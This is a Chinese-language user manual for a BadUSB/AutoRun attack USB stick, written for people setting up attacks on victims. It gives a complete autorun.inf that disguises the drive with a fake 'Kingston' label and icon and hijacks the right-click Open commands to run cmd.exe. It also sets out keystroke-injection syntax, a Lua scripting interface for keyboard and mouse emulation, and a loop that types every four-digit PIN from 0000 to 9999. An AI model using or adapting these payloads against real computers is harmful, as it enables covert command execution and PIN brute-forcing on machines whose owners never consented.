一、按键说明
按住配置按键插入电脑后松开,将进入 badusb 配置模式,此时电脑中会显示为一个 U 盘,并且攻击模式关闭,不会进行攻击:
打开 U 盘,U 盘中的 autorun.inf 即为配置文件,其中简易版只有一个配置文件,即 autorun.inf。高级版有两个配置文件,autorun.inf 用于 autorun 攻击,luac.out 用于 bad_usb 攻击。
使用记事本打开配置文件即可编缉
二、配置文件说明
攻击方法有两种:AutoRun 攻击与 BadUSB 攻击
1、AutoRun 攻击
配置举例(autorun.inf 文件内容):
;AutoRun攻击的配置块,支持同时进行两种攻击。
[AutoRun]
autoplay=true
;伪装的U盘图标
icon=c:\windows\system32\shell32.dll,79
;驱动器名称
label=Kingston
;攻击载荷,此处为调用cmd打开网页
open=cmd.exe /c "start http://www.nnnxxx.cn"
run=cmd.exe /c "start http://www.nnnxxx.cn"
;劫持右键菜单
shell\open=打开(&O)
shell\open\Command=cmd.exe /c "start http://www.nnnxxx.cn"
shell\opennewwindow=在新窗口中打开(&E)
shell\opennewwindow\Command=cmd.exe /c "start http://www.nnnxxx.cn"
Autorun 攻击的触发条件是受害者打开盘。当受害者打开盘的时候会自动配置好的攻击。
2、简易版 bad_usb 攻击
badusb 的攻击原理就是伪装为键盘,向计算机自动输入配置好的按键。简易自动支持的语句有限,所有支持的命令如下:
[Enter]:按下回车键
[Shift]:按下Shift键
[Capslock]:切换大小写
[Win]:按下Win键
[Win+R]:打开“运行”窗口
[Alt+F4]:关闭当前窗口
[Win+D]:显示桌面
[Win+L]:锁定计算机
[Win+E]:打开Windows资源管理器
[Ctrl+Alt+Del]:打开安全选项
[Delay]:等待500毫秒,两个Delay为1秒,以此类推
[Format]:格式化储存(U盘自身)
正常按键比如a-z直接输入即可
对于简易版,badusb 的配置文件与 autorun 是同一个文件,加入下面的内容即可,简易版举例(autorun.inf 文件内容):
[BadUSB]
[Win+R]
[Delay][Delay]
notepad[Enter]
[Delay]
Hello World[Enter]
[Win+R]
[Delay]
[Delay]
https://www.nnnxxx.cn
[Enter]
[BadUSB]
;AutoRun攻击的配置块,支持同时进行两种攻击。
[AutoRun]
autoplay=true
;伪装的U盘图标
icon=c:\windows\system32\shell32.dll,79
;驱动器名称
label=Kingston
;攻击载荷,此处为调用cmd打开网页
open=cmd.exe /c "start http://www.nnnxxx.cn"
run=cmd.exe /c "start http://www.nnnxxx.cn"
;劫持右键菜单
shell\open=打开(&O)
shell\open\Command=cmd.exe /c "start http://www.nnnxxx.cn"
shell\opennewwindow=在新窗口中打开(&E)
shell\opennewwindow\Command=cmd.exe /c "start http://www.nnnxxx.cn"
3、高级版 bad_usb 攻击
高级版使用了高性能的芯片和存储,并且进行了功能升级,但是使用复杂度也大幅提高,对于初学者建议用简易版即可。高级版与简易版的主要区别在于高级版提供了一个完整的编程语言,支持控制语句,比如 if、while 等,用户可以自己编写更为复杂的程序,同时高级版还支持所有按键与鼠标模拟,支持随机数与自定义延迟。
高级版内置的解释器核心为 Lua,支持 Lua4.0 及以前的语法。
高级版的 autorun 攻击用的也是 autorun.inf 配置文件。但是高级版的 badUsb 攻击不再借用 autorun.inf 文件,而是有自己的单独的配置文件 luac.out,也就是说高级版有两个配置文件,一个是 autorun.inf,用于 autorun 攻击。一个是 luac.out 文件,用于 badUsb 攻击。
举例:编写以下 lua 脚本,并预编译后放入 U 盘中
pp=1000
i=3
delay(1000)
raw_key(128,21)
delay(500)
keys('notepad')
keys('\n')
delay(500)
while i>1 do
keys('Hello-')
delay(pp)
i = i-1
end
delay(500)
raw_key(128,21)
delay(500)
keys('http://www.nnnxxx.cn')
keys('\n')
delay(pp)
mouse(0,100,0,0)
delay(pp)
mouse(0,0,100,0)
delay(pp)
null_mouse();
工具将会控制电脑输出 10 个字符串 bb,然后打开运行,输入 http://nnnxxx.cn 回车访问,然后鼠标向右移动 100 像素,然后向下移动 100 像素。
更多的例子如下:
输出 0000-9999 四位密码:
for i = 0, 9 do
for j =0,9 do
for k=0,9 do
for m=0,9 do
raw_key(0,30+i)
raw_key(0,30+j)
raw_key(0,30+k)
raw_key(0,30+m)
end
end
end
end
每 1 秒向上滑动手机屏幕
while 1 do
null_mouse()
delay(15)
mouse(1,0,0,0)
delay(10)
mouse(1,0,158,0)
delay(10)
mouse(1,0,158,0)
delay(10)
mouse(1,0,158,0)
delay(10)
mouse(1,0,158,0)
delay(10)
null_mouse()
delay(2000)
mouse(0,0,98,0)
delay(5)
mouse(0,0,98,0)
delay(5)
mouse(0,0,98,0)
delay(5)
mouse(0,0,98,0)
delay(5)
delay(2000)
end
其它功能用户可自己开发
lua 脚本编写完成后要使用 luac4 把脚本预编译,然后把预编译生成的 luac.out 放到 U 盘根目录即可。
luac4 的下载地址:LuaBinaries - luac4
编译命令:
luac4.exe -s 脚本名
脚本名替换为你的脚本名称,命令执行完会在当前目录生成luac.out,把这个文件拷到U盘根目录即可。
导出函数说明:
keys(string str):连续输入一串字符,参数为字符串,支持转义字符,比如\n
raw_key(int function_key, int str_key):原始按键,只接受十进制功能键码和一个普通键码。
mouse(int a, int b, int c, int d): 鼠标操作,四个参数为HID的四字节码,十进制。
null_mouse(): 释放鼠标所有按键。
delay(int dura):延迟函数,参数为毫秒数。
random(int max):生成一个不大于max的随机整数
format():格式化U盘,盘是特殊格式,只能使用这个命令格式化,不能在windows下手动格式化。
键盘码:
/* HIDKey */
//HIDKey[0]
// 0字节bit位:多个功能键同时按则将键码相加即可
// 0:左Ctrl
// 1: 左Shift
// 2: 左Alt
// 3: 左GUI
// 4:右Ctrl
// 5:右Shift
// 6:右Alt
// 7:右GUI
// 1字节保留
// 2-7字节为按键
鼠标码:
*鼠标发送给PC的数据每次4个字节
*BYTE1 BYTE2 BYTE3 BYTE4
*定义分别是:
*BYTE1 –
|–bit7: 1 表示 Y 坐标的变化量超出-256 ~ 255的范围,0表示没有溢出
|–bit6: 1 表示 X 坐标的变化量超出-256 ~ 255的范围,0表示没有溢出
|–bit5: Y 坐标变化的符号位,1表示负数,即鼠标向下移动
|–bit4: X 坐标变化的符号位,1表示负数,即鼠标向左移动
|–bit3: 恒为1
|–bit2: 1表示中键按下
|–bit1: 1表示右键按下
|–bit0: 1表示左键按下
BYTE2 – X坐标变化量,与byte的bit4组成9位符号数,负数表示向左移,正数表右移。用补码表示变化量
BYTE3 – Y坐标变化量,与byte的bit5组成9位符号数,负数表示向下移,正数表上移。用补码表示变化量
BYTE4 – 滚轮变化。
三、攻击说明
1、配置完成后保存弹出 U 盘,不要按键插入电脑即可实施攻击。简易版性能要慢一些,大约插入 7-10 秒后才会开始攻击。
2、BadUSB 攻击原理为模拟成 HID 键盘,理论上支持所有支持 HID 的系统,比如 linux、windows、android 等,但不同的操作系统命令不一样,比如 WIN+R 键在 windows 中是打开运行,在其它的系统不一定是这个,针对不同的系统可以配置为不同的按键。
Comments | NOTHING